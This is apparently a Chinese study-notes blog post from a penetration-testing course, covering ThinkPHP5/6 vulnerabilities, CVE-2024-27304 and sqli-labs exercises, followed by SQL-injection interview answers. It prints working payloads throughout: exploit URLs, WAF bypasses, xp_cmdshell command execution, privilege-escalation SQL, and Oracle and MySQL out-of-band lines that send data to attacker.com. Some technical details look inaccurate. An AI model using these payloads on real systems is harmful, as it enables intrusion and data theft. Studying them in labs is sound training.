渗透高级课个人学习分享

近期学习聚焦ThinkPHP框架漏洞分析、CVE-2024-27304协议级漏洞利用及SQL注入实操练习,通过理论拆解与实战复现,系统掌握了多种漏洞的原理、利用方法及防御思路。以下是本次学习的详细梳理。

一、ThinkPHP框架漏洞分析

1.1 ThinkPHP5漏洞分析

1.1.1 SQL注入漏洞

核心知识点

漏洞原理:ThinkPHP5在处理特定参数时,对用户输入缺乏严格过滤,导致SQL注入漏洞产生。

影响版本:不同触发场景对应不同版本的ThinkPHP5,存在版本差异化影响。

注入类型:涵盖联合查询注入、布尔盲注、时间盲注等主流注入方式。

触发条件:需通过特定URL参数构造或对应请求方式触发。

漏洞复现步骤

以《ThinkPHP5漏洞分析之SQL注入(一)》为例,具体操作如下:

  1. 搭建ThinkPHP5漏洞测试环境,确保环境可正常运行。
  1. 访问构造好的特定URL:http://localhost/thinkphp5/?s=index/index/index\&ids\[0\]=bind\&ids\[1\]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)#
  1. 观察页面返回的错误信息,从中提取数据库用户信息。
  1. 逐步深化利用,依次获取数据库名称、表名、字段名等关键信息。
  1. 最终渗透获取目标系统敏感数据。

1.1.2 文件包含漏洞

核心知识点

漏洞原理:ThinkPHP5在模板渲染过程中,未对模板文件路径进行严格校验,存在路径遍历风险,进而导致文件包含漏洞。

影响版本:仅限ThinkPHP5特定版本。

利用方式:通过构造特殊模板文件路径,包含系统敏感文件(如配置文件、密码文件)或恶意注入文件。

漏洞复现步骤

  1. 搭建ThinkPHP5漏洞测试环境。
  1. 访问构造URL:http://localhost/thinkphp5/?s=index/index/index\&template=./public/../application/index/controller/../../../../etc/passwd
  1. 观察页面返回结果,验证是否成功包含目标敏感文件。
  1. 拓展利用范围,尝试包含其他敏感文件或恶意脚本文件。

1.1.3 代码执行漏洞

核心知识点

漏洞原理:ThinkPHP5处理部分参数时,未对用户输入进行严格过滤与校验,导致攻击者可注入恶意代码并执行。

影响版本:ThinkPHP5特定版本。

利用方式:构造特殊参数,注入并执行任意PHP代码,实现对目标系统的控制。

漏洞复现步骤

以《ThinkPHP5漏洞分析之代码执行(八)》为例,具体操作如下:

  1. 搭建ThinkPHP5漏洞测试环境。
  1. 访问构造URL:http://localhost/thinkphp5/?s=index/index/index\&name={${phpinfo()}}
  1. 观察页面是否成功执行phpinfo()函数,验证漏洞存在。
  1. 进一步构造恶意代码,执行更多高危操作(如文件写入、权限提升)。

1.1.4 反序列化漏洞

核心知识点

漏洞原理:ThinkPHP5存在不安全的反序列化操作,攻击者可构造特殊序列化字符串,触发预设POP链,最终执行恶意代码。

影响版本:ThinkPHP5.0.X、5.1.X、5.2.X全系列版本。

POP链构造:通过分析框架核心代码,挖掘可利用的魔术方法与函数调用链,搭建完整攻击链路。

漏洞复现步骤

以ThinkPHP5.0.X反序列化利用链为例,具体操作如下:

  1. 搭建ThinkPHP5.0.X漏洞测试环境。
  1. 深入分析框架代码逻辑,构造符合漏洞利用条件的POP链。
  1. 根据POP链生成对应的序列化字符串。
  1. 通过Cookie、POST参数等方式,将序列化字符串传入目标系统。
  1. 观察系统响应,验证恶意代码是否成功执行。

1.2 ThinkPHP6漏洞分析

1.2.1 任意文件创建漏洞

核心知识点

漏洞原理:ThinkPHP6在文件上传功能处理中,未对文件存储路径进行严格校验,允许攻击者构造特殊路径,实现任意位置文件创建。

影响版本:ThinkPHP6.0.X系列版本。

利用方式:构造包含特殊路径的文件上传请求,在目标系统任意目录创建文件(可用于植入后门脚本)。

漏洞复现步骤

  1. 搭建ThinkPHP6.0.X漏洞测试环境。
  1. 构造包含特殊路径的文件上传请求(可通过BurpSuite等工具修改请求包)。
  1. 向目标系统发送上传请求,尝试在预设目标位置创建文件。
  1. 验证文件是否成功创建,确认漏洞利用效果。

1.2.2 反序列化漏洞

核心知识点

漏洞原理:ThinkPHP6存在不安全的反序列化操作,攻击者可构造特殊序列化字符串,触发POP链并执行恶意代码。

影响版本:ThinkPHP6.X全系列版本。

POP链构造:通过分析ThinkPHP6框架代码,挖掘可利用的魔术方法与函数调用链,搭建攻击链路。

漏洞复现步骤

  1. 搭建ThinkPHP6.X漏洞测试环境。
  1. 分析框架代码逻辑,构造适配的POP链及对应序列化字符串。
  1. 通过特定方式将序列化字符串传入目标系统。
  1. 观察系统响应,验证恶意代码是否成功执行。

二、CVE-2024-27304漏洞分析与利用

2.1 漏洞概述

核心知识点

漏洞名称:PostgreSQL pgx库SQL注入漏洞

CVE编号:CVE-2024-27304

影响版本:pgx v5.5.3版本

漏洞类型:协议级SQL注入漏洞

漏洞原理:通过发送超大体积Payload,导致PostgreSQL协议消息大小溢出,突破防护机制实现SQL注入。

2.2 漏洞原理深度解析

核心知识点

PostgreSQL协议:PostgreSQL数据库通过特定格式的协议消息实现客户端与服务器端的通信交互。

核心消息类型:

  • P(Parse):用于发送预处理语句
  • B(Bind):用于发送请求参数
  • Q(Query):用于发送简单查询语句

溢出条件:当pgx库采用Q(Query)或B(Bind)方式发送协议消息时,超大体积Payload会导致消息大小溢出,触发漏洞。

利用方式:构造特定Payload,借助消息溢出漏洞注入恶意SQL代码,执行攻击操作。

2.3 漏洞环境搭建

复现步骤

  1. 克隆漏洞测试环境项目:git clone https://github.com/your-repo/CVE-2024-27304-PoC.git
  1. 进入项目webapp目录:cd CVE-2024-27304-PoC/webapp
  1. 启动Docker容器部署环境:docker-compose up -d
  1. 验证服务启动状态:访问http://localhost:8080,确认服务正常运行。

2.4 漏洞利用实操

复现步骤

以Q_nop_sled.py脚本为例,具体操作如下:

  1. 进入漏洞利用脚本目录:cd CVE-2024-27304-PoC/exploit
  1. 编辑Q_nop_sled.py文件,修改目标地址、端口等核心参数,适配测试环境。
  1. 运行脚本执行漏洞利用:python Q_nop_sled.py
  1. 观察脚本输出结果,验证漏洞是否成功利用。
  1. 尝试登录目标Web应用,验证是否成功创建管理员账号(或其他预设攻击目标)。

注意事项

  • 该漏洞利用过程需占用大量服务器内存,可能影响系统稳定性。
  • 超大体积Payload可能触发目标系统DoS(拒绝服务),需控制测试场景。
  • 严格遵守网络安全法规,仅可在授权测试环境中验证,禁止对第三方系统执行攻击。

三、SQL注入练习环境(sqli-labs-php7-master)

3.1 环境搭建

复现步骤

  1. 下载sqli-labs-php7-master压缩包,解压至Web服务器根目录。
  1. 配置数据库连接:编辑sql-connections/sqli-connect.php文件,填入对应数据库账号、密码、库名等信息。
  1. 访问http://localhost/sqli-labs-php7-master/,点击"Setup/reset Database for labs"初始化数据库。
  1. 确认数据库创建成功,练习环境搭建完成。

3.2 Less-1:基于错误的SQL注入

核心知识点

注入类型:基于错误回显的SQL注入

触发条件:采用单引号闭合的GET参数,输入异常值可触发SQL错误回显。

利用方式:构造特殊id参数,触发SQL语法错误,通过错误信息提取数据库关键信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1,确认页面正常返回数据。
  2. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1',观察页面返回的SQL错误信息,确认注入点存在。
  3. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=1' --+,验证注释符有效性,确认页面恢复正常返回。
  4. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,2,3 --+,定位页面回显位置。
  5. 访问http://localhost/sqli-labs-php7-master/Less-1/?id=0' union select 1,database(),user() --+,获取数据库名称与当前登录用户信息。
  6. 逐步深化注入,依次获取表名、字段名,最终提取敏感数据。

3.3 Less-2:数字型SQL注入

核心知识点

注入类型:数字型SQL注入

触发条件:参数为未加引号的GET型数字参数,无需闭合即可构造注入语句。

利用方式:构造特殊id数字参数,通过联合查询等方式提取数据库信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1,确认页面正常返回数据。
  2. 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1 and 1=2,观察页面返回变化,确认注入点存在。
  3. 访问http://localhost/sqli-labs-php7-master/Less-2/?id=1 union select 1,2,3,定位页面回显位置。
  4. 参照Less-1后续步骤,依次获取数据库名称、表名、字段名及敏感数据。

3.4 Less-5:布尔盲注

核心知识点

注入类型:布尔盲注

触发条件:页面无直接数据回显,仅通过返回状态(正常/异常)判断注入结果。

利用方式:构造布尔表达式,通过页面返回状态差异,逐步猜解数据库信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1,记录页面正常返回状态。
  2. 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=1 --+,观察页面返回状态与正常状态一致。
  3. 访问http://localhost/sqli-labs-php7-master/Less-5/?id=1' and 1=2 --+,观察页面返回状态异常,确认盲注可用。
  4. 通过手动猜解或脚本工具,逐步获取数据库名称长度、字符,再依次猜解表名、字段名及敏感数据。

3.5 Less-9:时间盲注

核心知识点

注入类型:时间盲注

触发条件:页面无直接数据回显,且布尔状态无明显差异,需通过时间延迟判断注入结果。

利用方式:构造含时间延迟函数的注入语句,根据页面响应时间差异,逐步猜解数据库信息。

复现步骤

  1. 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1,记录页面正常响应时间。
  2. 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1' and sleep(5) --+,观察页面响应时间是否延长5秒,确认注入点存在。
  3. 访问http://localhost/sqli-labs-php7-master/Less-9/?id=1' and if(length(database())>5,sleep(5),1) --+,根据响应时间判断数据库名称长度。
  4. 通过手动猜解或脚本工具,结合时间延迟逻辑,逐步获取数据库名称、表名、字段名及敏感数据。

四、其他学习资源拓展

4.1 PDO绕过技术(PDOBYPASS.pdf)

核心知识点

PDO介绍:PHP Data Objects(PDO),是PHP的数据库抽象层,用于统一不同数据库的操作接口。

PDO预处理:核心安全机制,用于防止SQL注入,但存在特定场景下的绕过风险。

绕过方法:通过构造特殊语句,突破PDO预处理的防护逻辑,实现SQL注入。

学习实施步骤

  1. 阅读PDOBYPASS.pdf文档,深入理解PDO预处理原理及绕过核心逻辑。
  2. 搭建PDO测试环境,模拟真实业务场景。
  3. 编写测试代码,验证各类PDO绕过技术的可行性。
  4. 分析不同绕过方法的适用场景、限制条件及防御要点。
  5. 总结PDO安全编程最佳实践,规避注入风险。

五、整体学习总结

5.1 核心知识点沉淀

  • 框架漏洞分析:熟练掌握ThinkPHP5/6框架核心漏洞(SQL注入、文件包含、代码执行、反序列化)的原理、影响范围及利用逻辑,建立框架漏洞分析思维。
  • 协议级漏洞:深入理解CVE-2024-27304协议级SQL注入漏洞,掌握从协议层面分析漏洞、构造Payload的方法,拓展漏洞分析维度。
  • SQL注入技术:通过sqli-labs实操,全面掌握基于错误、数字型、布尔盲注、时间盲注等多种注入类型的识别、利用及突破技巧。
  • 漏洞利用脚本编写:学习Python漏洞利用脚本的编写逻辑,掌握参数配置、Payload构造、结果验证等核心环节。
  • 代码审计基础:通过分析ThinkPHP框架漏洞代码,提升PHP代码审计能力,能够快速定位代码中的安全隐患。

5.2 实践技能提升

  • 漏洞环境搭建:熟练掌握Docker、Web服务器等工具的使用,能够快速搭建各类漏洞测试环境,为漏洞复现与分析提供支撑。
  • 漏洞复现能力:可独立完成各类框架漏洞、协议漏洞、SQL注入漏洞的复现,精准验证漏洞存在性。
  • 漏洞利用能力:能够根据漏洞原理,自主构造Payload,实现敏感信息获取、恶意代码执行等攻击目标。
  • 安全防护建议:基于漏洞分析结果,可提出针对性的安全防护方案,规避同类漏洞风险。

六、SQL注入面试题解析

6.1 二次注入攻击流程

题目:假设目标网站对用户输入做了参数化查询,但存在用户注册信息回显的场景,你会如何构造二次注入攻击?请详细描述完整攻击链。

答案

攻击原理:二次注入的核心是数据"存入安全、取出危险",即用户输入数据被参数化查询安全存入数据库后,在其他业务场景被取出时,未经过滤直接拼接SQL语句,触发注入漏洞。

具体攻击链步骤:

  1. 注册环节注入:用户注册时,提交恶意Payload(如用户名填写admin'#),系统通过参数化查询将该Payload安全存入数据库,此时未触发注入。
  1. 漏洞触发场景:在密码修改功能中,程序从数据库取出用户名,并直接拼接SQL语句:UPDATE users SET password='[new_pass]' WHERE username='[恶意用户名]'。
  1. 注入执行:拼接后实际执行的SQL语句为:UPDATE users SET password='hacked' WHERE username='admin'#',注释符#截断后续语句,最终仅修改admin账号密码。
  1. 防御方案:所有从数据库取出的数据,在再次用于SQL拼接、展示等场景时,仍需执行参数化处理或严格过滤,避免二次注入。

6.2 时间盲注绕过技巧

题目:当目标过滤了SLEEP()函数和BENCHMARK()函数,且请求频率受限时,你会如何构造可靠的时间盲注Payload?

答案

  1. 重型查询制造延迟:通过构造复杂查询语句占用数据库资源,实现自然延迟,如:AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C),多表交叉查询可显著延长执行时间。
  1. 条件性复杂运算:利用高耗资源运算函数,结合条件判断实现延迟,如:AND IF(ASCII(SUBSTR((SELECT @@version),1,1))>50, EXP(1000), 1),当条件成立时执行EXP(1000)(指数运算消耗大量资源),产生延迟。
  1. DNS查询延时(需出网):借助DNS解析过程实现延迟,同时可外带数据,如:AND LOAD_FILE(CONCAT('\\',(SELECT MID(@@version,1,100)),'.attacker.com\test')),构造含查询结果的域名,通过DNS解析日志捕获数据,解析过程会产生明显延迟。

6.3 DNS外带数据利用

题目:如何通过DNS协议外带Oracle数据库的敏感数据?请写出完整Payload并解释原理。

答案

Payload:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)||'.attacker.com/"> %remote;]>'),'/l') FROM DUAL

原理:

  1. 利用XML外部实体(XXE)漏洞:通过EXTRACTVALUE函数解析构造的XML内容,触发XXE外部实体引用,发起HTTP请求。
  1. 数据拼接注入:通过字符串拼接,将Oracle数据库敏感数据(如当前用户SYS_CONTEXT('USERENV','CURRENT_USER'))插入HTTP请求的子域名中。
  1. DNS解析捕获:当目标服务器发起HTTP请求时,会先进行DNS解析,攻击者通过监控自身域名的DNS解析日志,即可捕获包含敏感数据的解析记录,实现数据外带。

适用条件:Oracle 11g/12c版本,攻击者需拥有UTL_HTTP权限,且目标服务器可出网。

6.4 WAF绕过实战

题目:假设WAF检测UNION SELECT模式且过滤常见关键词,如何构造绕过Payload?给出至少三种技术方案。

答案

  1. 注释混淆绕过:通过插入数据库支持的注释符,拆分关键词,规避WAF规则检测,如:UNI/**/ON SEL/**/ECT 1,version()。
  1. 空白符变异绕过:使用非标准空白符(如%0b、%a0等)替代空格,WAF可能无法识别,而数据库可正常解析,如:UNION%0bSELECT%a0@@version。
  1. 字符编码绕过:将关键词拆分为ASCII字符,通过CHAR函数拼接还原,规避关键词过滤,如:UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)(拼接为admin)。
  1. 大小写混合+嵌套语句:通过大小写交替、语句嵌套打乱关键词特征,如:UnIoN (sElEcT 1,(sElEcT mid(version(),1,1)))。

6.5 堆叠查询利用

题目:在MSSQL环境中,如何通过堆叠查询实现操作系统命令执行?写出完整利用链。

答案

完整利用链(需高权限账户):

  1. 开启xp_cmdshell组件:堆叠查询执行配置命令,开启命令执行组件,语句如下:'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
  1. 执行操作系统命令:通过xp_cmdshell组件执行命令,语句如下:'; EXEC xp_cmdshell 'whoami';--,可根据需求替换为其他命令(如文件操作、权限修改)。

注意事项:

  • 需sa等高权限数据库账户,普通账户无开启组件及执行命令权限。
  • 受数据库配置限制,部分环境可能默认禁用xp_cmdshell组件,需先突破配置限制。
  • 若xp_cmdshell被禁用,可配合CLR集成、OLE自动化存储过程等方式实现命令执行。

6.6 预编译绕过漏洞

题目:为什么参数化查询有时仍会发生SQL注入?请结合具体案例说明。

答案

核心原因:参数化查询仅对SQL语句中的"参数"有效,无法防护"动态拼接的SQL结构"(如表名、列名、排序字段等),若开发者将用户可控数据用于SQL结构拼接,仍会触发注入漏洞。

具体案例:

开发者编写代码如下,意图通过参数化查询防止注入,但将用户可控的tableName用于表名拼接:

String query = "SELECT * FROM " + tableName + " WHERE id = ?";

PreparedStatement stmt = conn.prepareStatement(query);

漏洞点:表名属于SQL语句结构部分,无法被参数化处理,若用户控制tableName参数,可构造恶意值触发注入。

攻击方式:攻击者传入tableName参数值为"malicious_table; DROP TABLE users--",拼接后SQL语句变为:SELECT * FROM malicious_table; DROP TABLE users-- WHERE id = ?,执行后会删除users表。

防御方案:对表名、列名等SQL结构部分,采用白名单校验机制,严格限制输入范围,禁止用户可控数据直接拼接。

6.7 JSON注入漏洞

题目:当Web应用使用JSON格式与数据库交互时,可能存在哪些特殊形式的SQL注入?举例说明。

答案

1. 常规JSON参数注入

攻击场景:应用将JSON中的参数直接拼接SQL语句,未做过滤处理,如后端接收JSON格式查询条件:

{ "query": "SELECT * FROM users WHERE name = '{{name}}'" }

Payload:构造JSON参数注入恶意语句:

{ "name": "admin' OR 1=1-- " }

拼接后SQL语句变为:SELECT * FROM users WHERE name = 'admin' OR 1=1-- ',实现万能查询。

2. MongoDB NoSQL注入(JSON格式衍生)

MongoDB使用JSON-like格式(BSON)存储数据,若应用直接将用户输入的JSON作为查询条件,会触发NoSQL注入,如:

Payload:{"where": "sleep(100)"},通过where操作符注入JavaScript代码,实现时间延迟盲注,获取敏感信息。

3. PostgreSQL JSON函数注入

利用PostgreSQL内置JSON函数,拼接用户输入构造注入,如:

SELECT json_extract('{"a":"' || (SELECT version()) || '"}','$.a') FROM DUAL,通过JSON函数拼接执行子查询,提取数据库版本信息。

6.8 基于错误注入的利用

题目:如何通过错误回显精确提取数据?给出MySQL和MSSQL的利用函数。

答案

核心原理:故意构造SQL语句触发类型转换、语法错误等异常,使数据库返回包含敏感数据的错误信息,实现数据提取,需满足服务器开启错误回显功能。

MySQL利用函数

使用ExtractValue函数(XML函数)触发错误,Payload:AND ExtractValue(1, CONCAT(0x5c, (SELECT @@version))),错误信息中会包含数据库版本号。

MSSQL利用函数

通过类型转换错误触发,Payload:AND 1=CONVERT(int, (SELECT @@version)),将版本号字符串转换为int类型失败,错误信息中会显示版本号。

适用条件:服务器配置为显示详细错误信息,攻击者可通过错误回显获取关键数据。

6.9 权限提升技巧

题目:如何通过SQL注入将普通数据库用户权限提升为sysadmin?给出具体步骤。

答案

PostgreSQL环境提权步骤

  1. 权限探测:执行SELECT current_setting('is_superuser'),判断当前用户是否为超级用户。
  1. 利用漏洞提权:借助CVE-2018-1058漏洞,创建恶意函数调用系统命令,语句如下:CREATE FUNCTION sys_eval(text) RETURNS text AS '/lib/libc.so.6' LANGUAGE C RETURNS NULL ON NULL INPUT; SELECT sys_eval('whoami');
  1. 权限升级:通过系统命令修改数据库配置,将普通用户提升为超级用户,实现sysadmin权限控制。

MySQL环境提权步骤

若当前用户拥有GRANT权限,可直接执行授权语句提权:GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;,将attacker用户赋予全库权限,等同于sysadmin权限。

补充说明:提权操作依赖当前用户权限基础,需先通过注入获取足够权限(如GRANT权限、文件写入权限),再结合对应数据库特性实现权限提升。

相关推荐
2601_949720262 小时前
flutter_for_openharmony手语学习app实战+学习进度实现
javascript·学习·flutter
楼田莉子2 小时前
Linux进程间通信——System V系列
linux·服务器·c++·学习·信息与通信
321.。2 小时前
从 0 到 1 实现 Linux 下的线程安全阻塞队列:基于 RAII 与条件变量
linux·开发语言·c++·学习·中间件
啵啵鱼爱吃小猫咪2 小时前
机器人标准DH(SDH)与改进DH(MDH)
开发语言·人工智能·python·学习·算法·机器人
时光慢煮3 小时前
从进度可视化出发:基于 Flutter × OpenHarmony 的驾照学习助手实践
学习·flutter·华为·开源·openharmony
week_泽3 小时前
GBDT 算法中构建第一个弱学习器(CART 回归树)-计算示例
学习·算法·回归·gbdt
QZ_orz_freedom3 小时前
后端学习笔记-ApaChe POI
笔记·学习
问道飞鱼3 小时前
【大模型学习】CRISP 提问框架
学习·提示词·crisp提问框架
啵啵鱼爱吃小猫咪3 小时前
机器人几何雅可比与解析雅可比
人工智能·学习·算法·机器学习·matlab·机器人